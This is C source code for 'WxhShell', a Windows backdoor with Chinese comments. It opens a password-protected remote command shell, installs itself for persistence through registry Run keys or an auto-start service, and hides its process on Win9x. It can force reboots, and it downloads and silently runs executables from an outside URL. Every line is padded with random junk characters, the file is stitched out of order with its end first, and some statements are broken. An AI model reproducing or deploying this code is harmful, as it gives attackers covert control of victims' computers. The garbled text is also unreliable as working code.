    if(Boot(SHUTDOWN)) }N&}6U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H"=%|/1M0  
    else { kD8$ir'UYG  
    closesocket(wsh); ^yb3L1y  
    ExitThread(0); 9i;%(b{  
    } N>/!e787OU  
    break; ;xS@-</:  
    } P\pHos  
  // 获取shell ^mv F%"g  
  case 's': { W.'#pd  
    CmdShell(wsh); !9_HZ(W&  
    closesocket(wsh); HQCxO?  
    ExitThread(0); g=XvqD<  
    break; yT.h[yv"w  
  } ^<}9#q/rt  
  // 退出 ;}@.E@s%'  
  case 'x': { {^a"T'+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); sf<S#;aYqn  
    CloseIt(wsh); "v@Y[QI  
    break;  z"Miy  
    } ~:'tp28?  
  // 离开 1hp`.!3]H  
  case 'q': { 9~n`6;R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  Fku~'30  
    closesocket(wsh); NvW`x   
    WSACleanup(); 6<u =hhL  
    exit(1); n?!XNXb  
    break; S81% iz.n  
        } BZ* ',\o  
  } 2FU+o\1 %  
  } d,8L-pT$FM  
' ^E7T'v%  
  // 提示信息 VHyH't_&s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X'Q?Mh  
} ]Wr2 IM  
  } 3q ujz)o  
hjf!FY*F  
  return;  DA]<30 w  
} (VV5SvdE  
6 <XQ'tM]N  
// shell模块句柄 o&0fvCpW  
int CmdShell(SOCKET sock) ;-sZaU;  
{ FjR/_GPo6  
STARTUPINFO si; E6JfSH#  
ZeroMemory(&si,sizeof(si)); 5.! OC5tO  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -<H\VT%98  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock;  bi/ AQ^  
PROCESS_INFORMATION ProcessInfo; FnxPM`Zx  
char cmdline[]="cmd"; cq+G0F+H  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [$M=+YRHMW  
  return 0; K)b@,/5  
} K</EVt,U~  
#N Qpr  
// 自身启动模式 *U>"_h T0  
int StartFromService(void) @n2Dt d  
{ fE`p  
typedef struct IUf&*'_  
{ uPCzs$R  
  DWORD ExitStatus; + OKk~GYf  
  DWORD PebBaseAddress; k;/K']4y  
  DWORD AffinityMask; TWE>"8]  
  DWORD BasePriority; 2iM]t&^<+  
  ULONG UniqueProcessId; dhrh "x_?:  
  ULONG InheritedFromUniqueProcessId; b3.  
}   PROCESS_BASIC_INFORMATION; [l44,!Z&  
Znr6,[U+q  
PROCNTQSIP NtQueryInformationProcess; wnUuoX(  
,5V w^@F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |"}oGL6-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ey|{yUmU+  
5"sd  
  HANDLE             hProcess; +pUG6.j%  
  PROCESS_BASIC_INFORMATION pbi; W4Z8U0co  
{g9*t}l4  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1.24ZX  
  if(NULL == hInst ) return 0; Y"H'BT!b}  
^^,cnDlm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E'-lpE  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j<NZ4Rf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); La>fvm  
CWBlDz  
  if (!NtQueryInformationProcess) return 0; .A6D&-&z  
>0F)^W?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [}$jO,H5r  
  if(!hProcess) return 0; tJ Bj9{  
^?M# |>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )[b\wrc   
M$u.lI  
  CloseHandle(hProcess); { 9:vq|  
[#@\A]LO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); i+qt L3  
if(hProcess==NULL) return 0; :; z]:d  
b~$8<\  
HMODULE hMod; |j}D2q=  
char procName[255]; b:WA}x V  
unsigned long cbNeeded; :$6mS[@|  
M mmg3%G1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >\br8=R  
-7Bg5{FA  
  CloseHandle(hProcess); pO?v$Rjl  
MJ"@  
if(strstr(procName,"services")) return 1; // 以服务启动 :6gRoMb]  
h+rW%`B  
  return 0; // 注册表启动 Q~R%|Q{&  
} tm1#Lh0  
vh"wXu  
// 主模块 0Q7|2{  
int StartWxhshell(LPSTR lpCmdLine) ?K\r-J!Y  
{ ZH)Jq^^RI  
  SOCKET wsl; ^HhV ?Iqg  
BOOL val=TRUE; n\ 'PNB  
  int port=0; bL`># M_^  
  struct sockaddr_in door; hbdB67,  
u>ZH-nw O  
  if(wscfg.ws_autoins) Install(); Tw,|ZA4XH  
6E@TcN~ ,!  
port=atoi(lpCmdLine); A$g'/QM  
dVMduo  
if(port<=0) port=wscfg.ws_port; S awf]/  
:F8h}\a*  
  WSADATA data; \G0YLV~>P  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2BKiA[ ;;  
.],:pL9d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *Sg6VGP  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ){LU>MW{&  
  door.sin_family = AF_INET; HvR5-?qQ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cG"wj$'w  
  door.sin_port = htons(port); *(s0X[-  
00B,1Q HP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 82)%`$yZw[  
closesocket(wsl); e'yw8U5E/  
return 1; MQe|\SMd  
} .sjv"D"  
@;G%7&ps  
  if(listen(wsl,2) == INVALID_SOCKET) { - lqD  
closesocket(wsl); oI5^.Dr FW  
return 1; `>4"i+NFF8  
} \kZ@2.pN  
  Wxhshell(wsl); $."D OZQ3U  
  WSACleanup(); ekW#|  
n8E3w:A-  
return 0; +B[XTn,Cru  
Q#F9&{'l  
} Aj8zFt ]  
}hE!0q~MfM  
// 以NT服务方式启动 3*T/ 7\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C|V5@O?;&  
{ 2#   
DWORD   status = 0; P~#LbUP(  
  DWORD   specificError = 0xfffffff; b0sj0w/  
7g5Pc_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; cA+T-A]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ef7BG(  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wV\7  
  serviceStatus.dwWin32ExitCode     = 0; Mtl`A'KQ/K  
  serviceStatus.dwServiceSpecificExitCode = 0; JXjH}C  
  serviceStatus.dwCheckPoint       = 0; l_s#7.9$  
  serviceStatus.dwWaitHint       = 0; x~i\*Ox^  
DS+BX`i%#p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _ FNW[V  
  if (hServiceStatusHandle==0) return; ]s0GAp"  
194n   
status = GetLastError(); O2":)zU.  
  if (status!=NO_ERROR) z6Fl$FFP  
{ ZA&bp{}D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mBEMwJ}O`  
    serviceStatus.dwCheckPoint       = 0; ~|[i64V<^  
    serviceStatus.dwWaitHint       = 0; ![!,i\x  
    serviceStatus.dwWin32ExitCode     = status; Q,M,^_  
    serviceStatus.dwServiceSpecificExitCode = specificError; r0wAh/J|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Lytk OMf  
    return; <isU D6TC  
  } ._]*Y`5)d  
m70AWG  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Jz4;7/  
  serviceStatus.dwCheckPoint       = 0; D9H%jDv  
  serviceStatus.dwWaitHint       = 0; S}VN(g  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  '[HBKn$`  
} ~# \{'<  
Y3#8]Z_"}O  
// 处理NT服务事件,比如:启动、停止 W9{i~.zo  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ] *U+nG  
{ #)m [R5g(  
switch(fdwControl) Em4'b1mDX%  
{  #]QS   
case SERVICE_CONTROL_STOP: Q8A+\LR~)  
  serviceStatus.dwWin32ExitCode = 0; Q@|"xKa  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7Le- f  
  serviceStatus.dwCheckPoint   = 0; P8#_E{f  
  serviceStatus.dwWaitHint     = 0; \[|X^8j  
  { %__ @G_M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x?]fHin_  
  } ul b0B"  
  return; mM L B?I  
case SERVICE_CONTROL_PAUSE: @=}NMoNH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w#_7,*6]  
  break; |z8_]o+|r1  
case SERVICE_CONTROL_CONTINUE: C8do8$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eY%Ep=J  
  break; {t4':{Y+  
case SERVICE_CONTROL_INTERROGATE: `gF ]  
  break; |9F-ZH~6  
}; ZFh[xg'0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); aK(e%Ed t"  
} xb"e'Zh  
:?}> Q  
// 标准应用程序主函数 `9k\~D=D~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3''Uxlo\  
{ xOr"3;^  
CKSs(-hkJ  
// 获取操作系统版本 ks69Z|D  
OsIsNt=GetOsVer(); 1d842pt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <;@E .I\N  
Pf;RJeD  
  // 从命令行安装 `Ba?4_>k  
  if(strpbrk(lpCmdLine,"iI")) Install(); )iVuac]E++  
TwF.UL@G%  
  // 下载执行文件 [,;O$j}  
if(wscfg.ws_downexe) { ONZ(0H{ 1$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qG2P?DR  
  WinExec(wscfg.ws_filenam,SW_HIDE); e|>@ >F]K  
} QxuU3#l  
\F\xZ.r  
if(!OsIsNt) { Gm> =s  
// 如果时win9x,隐藏进程并且设置为注册表启动 I~E&::,  
HideProc(); D(&Zq7]n  
StartWxhshell(lpCmdLine); t8;nP[`  
} rWqr-"0S.  
else +;*4.}  
  if(StartFromService()) ^jcVJpyT@R  
  // 以服务方式启动 "Er8RUJA  
  StartServiceCtrlDispatcher(DispatchTable); "HwlN_PA  
else =EH/~NGk  
  // 普通方式启动 a[,p1}!_  
  StartWxhshell(lpCmdLine); a<]vHC7  
Ji1#>;&  
return 0; wzmQRn;s  
} >I0 a$w  
Jh36NE8r  
{$ pi};  
4H@7t,>  
=========================================== b7">IzAe  
UZ6y3%G3^  
~Y;Z5e=  
c>T)Rc  
LF)wn -C}  
0bD\`Jiv,  
" Au{b1n  
90-s@a3B-j  
#include <stdio.h> R:ecLbC  
#include <string.h> \IEuu^  
#include <windows.h> |oePB<N  
#include <winsock2.h> \@T;/Pj{[  
#include <winsvc.h> sPl3JP&s  
#include <urlmon.h> {qU;>;(  
YN7O Qqa  
#pragma comment (lib, "Ws2_32.lib") " YOl6n  
#pragma comment (lib, "urlmon.lib") ?5^DQ|Hg ^  
s$lJJL  
#define MAX_USER   100 // 最大客户端连接数 cxFyN ;7  
#define BUF_SOCK   200 // sock buffer 6\v4#  
#define KEY_BUFF   255 // 输入 buffer m( %PZ*s  
(/9erfuJ  
#define REBOOT     0   // 重启 J/,m'wH  
#define SHUTDOWN   1   // 关机 I>6zX  
I]pz3!On4,  
#define DEF_PORT   5000 // 监听端口 |Ho} D~  
&' y}L'  
#define REG_LEN     16   // 注册表键长度 B?e] Ht  
#define SVC_LEN     80   // NT服务名长度 oMYZ^b^  
ixoN#'y<"  
// 从dll定义API 7{k?" NF  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SL\15`[{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); CL?=j| Ea  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &Z9rQH81f>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Po.by~|  
e? |4O< @  
// wxhshell配置信息 1zCgPiAem  
struct WSCFG { CHjm7  
  int ws_port;         // 监听端口 ,w=u?  
  char ws_passstr[REG_LEN]; // 口令 6\VZ 6oS  
  int ws_autoins;       // 安装标记, 1=yes 0=no eOfVBF<C2  
  char ws_regname[REG_LEN]; // 注册表键名 `D$RL*C;M`  
  char ws_svcname[REG_LEN]; // 服务名 mtw{7 E  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !kH 1|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0,8RA_Ca}  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \JCpwNT{P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  H =&K_  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V^>< =DNE  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m%.[|sZ3EM  
gO@LJ  
}; uu>R)iTQ%S  
Zw<<p|{)<  
// default Wxhshell configuration <^942y-=  
struct WSCFG wscfg={DEF_PORT, 9T1 - {s R  
    "xuhuanlingzhe", )t:8;;W@Ir  
    1, 2r]o>X  
    "Wxhshell", Ysw&J}6e  
    "Wxhshell", ~at:\h4:  
            "WxhShell Service", F ^m;xy  
    "Wrsky Windows CmdShell Service", W A*1_  
    "Please Input Your Password: ", M!%|IKw  
  1, -3m!970  
  "http://www.wrsky.com/wxhshell.exe", t8.3  
  "Wxhshell.exe" hx4c`fOs  
    }; X+N8r^&  
k @gQY_  
// 消息定义模块 LW9F%?e!>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S/l6c P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #>sI XY  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m6A\R KJ'  
char *msg_ws_ext="\n\rExit."; 6 .[3N~pq  
char *msg_ws_end="\n\rQuit."; ;hEeFJ=/G  
char *msg_ws_boot="\n\rReboot..."; 1F+JyZK}w  
char *msg_ws_poff="\n\rShutdown..."; >9yy91H  
char *msg_ws_down="\n\rSave to "; glBS|b$\:  
R:f ,g2  
char *msg_ws_err="\n\rErr!"; m9-=Y{&/  
char *msg_ws_ok="\n\rOK!"; kP^=  
{K:] dO  
char ExeFile[MAX_PATH]; 2 i NZz  
int nUser = 0; K `A8N  
HANDLE handles[MAX_USER]; X/m~^  
int OsIsNt; ^f,%dM=i=  
f9)0OHa  
SERVICE_STATUS       serviceStatus; a(G}<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `lt[Q>Z  
: JSuC  
// 函数声明 kE[R9RS!  
int Install(void); R D?52\  
int Uninstall(void);  NfmHa  
int DownloadFile(char *sURL, SOCKET wsh); $s 'n]]Wq  
int Boot(int flag); g8" H{u  
void HideProc(void); [N<rPHT  
int GetOsVer(void); :-(qqC:  
int Wxhshell(SOCKET wsl); %c8@  
void TalkWithClient(void *cs); +%K~HYN  
int CmdShell(SOCKET sock); o*oFCR]j  
int StartFromService(void); .kgt? r  
int StartWxhshell(LPSTR lpCmdLine); X!@ Y ,  
"M^mJl&*b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E Q:6R|L  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rD9:4W`^  
>Pvz5Hf/wW  
// 数据结构和表定义 vskp1Wi(  
SERVICE_TABLE_ENTRY DispatchTable[] = upZf&4 I8  
{ p\.IP2+c  
{wscfg.ws_svcname, NTServiceMain}, I8YCXh  
{NULL, NULL} x+DecO2  
}; cIrc@  
k~fH:X~x  
// 自我安装 }XqC'z  
int Install(void) dQO 5  
{ U\-R'Z>M  
  char svExeFile[MAX_PATH]; rZ2cC#  
  HKEY key; ,R-aO= %  
  strcpy(svExeFile,ExeFile); P>03 DkbB  
b # Llu$  
// 如果是win9x系统,修改注册表设为自启动 Lg|d[*;'7  
if(!OsIsNt) { /w2-Pgm-[\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O%px>rdkY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ud"Kko Rt  
  RegCloseKey(key); 91nw1c!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { QGE0pWL-a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8# x7q>?  
  RegCloseKey(key); 62K#rR S  
  return 0; bfy=  
    } !/=.~B  
  } zJ@^Bw;A^@  
} ntW1 )H'o  
else { S,Tc\}  
Aq\K N.  
// 如果是NT以上系统,安装为系统服务 ;mPX8bT  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tg\o"QKW9  
if (schSCManager!=0) *d PbV.HCl  
{ 81w"*G5AM  
  SC_HANDLE schService = CreateService c%1{l]   
  ( ;WgUhA ;q  
  schSCManager, Kx?8 HA[5  
  wscfg.ws_svcname, z%\&n0  
  wscfg.ws_svcdisp, ?/my G{E  
  SERVICE_ALL_ACCESS, 8pZOgh  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bR8`Y(=F9b  
  SERVICE_AUTO_START, v *`M3jb  
  SERVICE_ERROR_NORMAL, 2waPNb|  
  svExeFile, dcyHp>\)|  
  NULL, %.onO0})  
  NULL, 7+qKA1t^  
  NULL, qwO@>wQ}~  
  NULL, N,3iSH=cN[  
  NULL cv7:5P  
  ); fPPmUM^C9  
  if (schService!=0) T''<yS  
  { *N"CV={No  
  CloseServiceHandle(schService); n=|% H'U  
  CloseServiceHandle(schSCManager); ia_l P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i83[':  
  strcat(svExeFile,wscfg.ws_svcname); bvZ:5M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HxcL3Bh$~}  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M>}_2G]#F  
  RegCloseKey(key); Qkhor-f0  
  return 0; vu#ZLq  
    } +w"?q'SnF  
  } oYt 34@{?  
  CloseServiceHandle(schSCManager); C\B4Uu6q  
} j-.Y!$a%6  
} |q z%6w=  
f8`dJ5i  
return 1; n9n)eI)R  
} ga(k2Q;y  
*ZxurbX#  
// 自我卸载 }r!hm?e  
int Uninstall(void) 3dSC`K  
{ _uXb>V*8  
  HKEY key; J_.cC  
b&dv("e 4  
if(!OsIsNt) { -Mz [S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DUh\x>^  
  RegDeleteValue(key,wscfg.ws_regname); 1ANb=X|hig  
  RegCloseKey(key); Z!7xRy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -4zV yW S<  
  RegDeleteValue(key,wscfg.ws_regname); L"n)fe$  
  RegCloseKey(key); tC5-^5[y  
  return 0; L(sT/  
  } ;{q*  
} DfP-(Lm)  
} Iy&,1CI"]  
else { WqF$-rBJG^  
=0!j"z=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j<k6z   
if (schSCManager!=0) |"I)1[7  
{ yMTO5~U{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 44|tCB`  
  if (schService!=0)  >]~|Nf/i  
  { &I[` .:NJ  
  if(DeleteService(schService)!=0) { w6WPfy(/2  
  CloseServiceHandle(schService); )%3T1 D/  
  CloseServiceHandle(schSCManager); j@ D,2B;  
  return 0; Dad$_%  
  } 0;=- x"  
  CloseServiceHandle(schService); X 8R`C0   
  } 3?@6QcHl{  
  CloseServiceHandle(schSCManager); X2rKH$<g  
} XmwAYf  
} u3GBAjPsIk  
~BX=n9  
return 1; [/%N2mj  
} e}S+1G6r)  
|ns?c0rM  
// 从指定url下载文件 )>S,#_e*b  
int DownloadFile(char *sURL, SOCKET wsh) %W)pZN}  
{ $(Mz@#%  
  HRESULT hr; 7.6L1srV  
char seps[]= "/"; 7B (%2  
char *token; x +pf@?w  
char *file; 2\QsF,@`YU  
char myURL[MAX_PATH]; 9 fYNSr  
char myFILE[MAX_PATH]; 3RT\G0?8f  
*8/Xh)B;  
strcpy(myURL,sURL); #j=yQrJ  
  token=strtok(myURL,seps); G{E`5KIvm  
  while(token!=NULL) Zd-6_,r  
  { 2wHbhW[  
    file=token; y& 1@d+Lf  
  token=strtok(NULL,seps); y!.jpF'uI  
  } RZ xwr  
=R|XFZ,  
GetCurrentDirectory(MAX_PATH,myFILE); Y`Io}h G$  
strcat(myFILE, "\\"); vIbM@Y4 '?  
strcat(myFILE, file); ,3y9yJQa*#  
  send(wsh,myFILE,strlen(myFILE),0); Z>Mv$F"p:  
send(wsh,"...",3,0); cgSN:$p(R  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <7`zc7c]#  
  if(hr==S_OK) Fu tS  
return 0; _gI1rXI  
else C5,fX-2Q  
return 1; \ '4~@  
bAGKi.  
} G9 O6Fi  
ow.!4kx{d  
// 系统电源模块 wz*iwd-  
int Boot(int flag) (Y@T5-!D  
{ gtZmBe=  
  HANDLE hToken; 4]ni-u0*  
  TOKEN_PRIVILEGES tkp; E<[ s+iX  
}|Mwv $`  
  if(OsIsNt) { *_o(~5w-K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .t5.(0Xk[A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;54NQB3L  
    tkp.PrivilegeCount = 1; e12QYoh  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,_I rE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); <78|~SKAV  
if(flag==REBOOT) { _wS=*-fT  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (^m] 7l  
  return 0; 0f.j W O  
} <ak[`]  
else { yJq<&g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y]m: {  
  return 0; AcPLJ!y  
} d*0 RBgn  
  } VNHce H  
  else { : ~vodh  
if(flag==REBOOT) { :Kwu{<rJ!(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )hXTgUZa  
  return 0; Wye* ~t  
} ]VRa4ZB{u  
else { f +{=##'0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <gkE,e9  
  return 0; , ~O>8VbF  
} IMH4GVr"  
} $Es\ld  
fRQ,Z  
return 1; 0\P5=hD)K  
} >.d/@3 '  
o$sD9xx  
// win9x进程隐藏模块 &*=!B9OBI  
void HideProc(void) h*k V@Dc  
{ oS fr5 i  
c\{N:S>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ` kT\V'  
  if ( hKernel != NULL ) sFTAE1|  
  { tQ|c.`)W  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); olE(#}7V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u ]e-IYH  
    FreeLibrary(hKernel); &Q883A J  
  } w\bwa!3Y  
Jr2yn{s=S  
return;  GfE>?mG  
} d:(Ex^^  
L,[Q/ $S8  
// 获取操作系统版本 ny5 P*yWEh  
int GetOsVer(void) [iub}e0  
{ 5H0qMt P  
  OSVERSIONINFO winfo; @:C)^f"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :> 0ywg  
  GetVersionEx(&winfo); pAE (i7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) yV(#z2|  
  return 1; ws'e  
  else .Vbd-jr'M  
  return 0; n1."Qix0  
} u7L?9  
dLiiJ6pl*  
// 客户端句柄模块 tYu<(Z(l)  
int Wxhshell(SOCKET wsl) ~~W.]>f  
{ djdTh +>28  
  SOCKET wsh; WNGX`V,d  
  struct sockaddr_in client; WHdMP  
  DWORD myID; !9;m~T7.  
# )y`Zz{h  
  while(nUser<MAX_USER) ,8@<sF B'  
{ D&%8JL  
  int nSize=sizeof(client); J:@gmo`M;V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )D+BvJ Y"  
  if(wsh==INVALID_SOCKET) return 1; $ZM'dIk?  
#n>U7j9`O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .G{cx=;  
if(handles[nUser]==0) ys9:";X;}  
  closesocket(wsh); |]?f6^ |4  
else F1#{(uW  
  nUser++; q`*.F#/4c  
  } |[?Otv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ieZ$@3#&z  
u#76w74  
  return 0; B$ eM  
} )p\`H;7*V4  
{A0jkU  
// 关闭 socket J!uG/ Us  
void CloseIt(SOCKET wsh) D S U`(`  
{ qLEYBv-3  
closesocket(wsh); "iSY;y o  
nUser--; ^ Ps!  
ExitThread(0); FK^xZ?G  
} FRQ.ix2  
{-4+=7Sg1  
// 客户端请求句柄 J&A1]T4d  
void TalkWithClient(void *cs) Ib..X&N2  
{ @z1QoZ^w  
Fv^zSoi2  
  SOCKET wsh=(SOCKET)cs; 1&boD\ 7  
  char pwd[SVC_LEN]; \CjJa(vV  
  char cmd[KEY_BUFF]; w}3N!jNDv  
char chr[1]; X _ZO)|  
int i,j; :^)?AO#J  
5P!ZGbG  
  while (nUser < MAX_USER) { }4C_r'd6  
<=.6Z*x+  
if(wscfg.ws_passstr) { 6Z_V,LD9L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *Jsb~wta  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;fNCbyg4 I  
  //ZeroMemory(pwd,KEY_BUFF);  0s;~9>  
      i=0; DTezG':  
  while(i<SVC_LEN) { H$I~Vz[\yb  
)g@+ MR  
  // 设置超时 rI$NNk'A  
  fd_set FdRead; aO1^>hy  
  struct timeval TimeOut; _lv{8vf1B  
  FD_ZERO(&FdRead); v`|]57?A  
  FD_SET(wsh,&FdRead); yj:@Fg-3g  
  TimeOut.tv_sec=8; Ch"wp/[  
  TimeOut.tv_usec=0; UT3Fi@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'h$1 z$X5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); sC3Vj(d!i  
?Bu*%+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DtANb^  
  pwd=chr[0]; pT,8E(*l2  
  if(chr[0]==0xd || chr[0]==0xa) { g (w/  
  pwd=0; yY#h 1  
  break; 6{)pF  
  } xNIrmqm5]  
  i++;  ] 2 `%i5  
    } R'gd/.[e  
yr%[IX]R  
  // 如果是非法用户,关闭 socket eA& #33  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `KZV@t  
} ()aCE^C  
t'2A)S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f\R_a/Us  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i:YX_+n  
*EuX7LEu_  
while(1) { WOn53|GQK  
{F<0e^*  
  ZeroMemory(cmd,KEY_BUFF); WaB0?jI  
XZ%[;[  
      // 自动支持客户端 telnet标准   336ETrG^0  
  j=0; ,=+t2Bn  
  while(j<KEY_BUFF) { ]$2 yV&V&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (7qlp*8.s  
  cmd[j]=chr[0]; 3(oMASf  
  if(chr[0]==0xa || chr[0]==0xd) { ,yC..aI  
  cmd[j]=0; "mQp#d/'  
  break; VJ\qp%  
  } 3t<a3"{9  
  j++; L(|K{vHh]  
    } E3 % ~!ZC  
%?[gBf[y  
  // 下载文件 9D14/9*(dU  
  if(strstr(cmd,"http://")) { ~Eg]Auk7  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E_~e/y"-  
  if(DownloadFile(cmd,wsh)) vb[0H{TT2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '9!_:3[d\]  
  else  0J+WCm`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S${%T$>  
  } l<1zLA~G  
  else { (m'-1wX.  
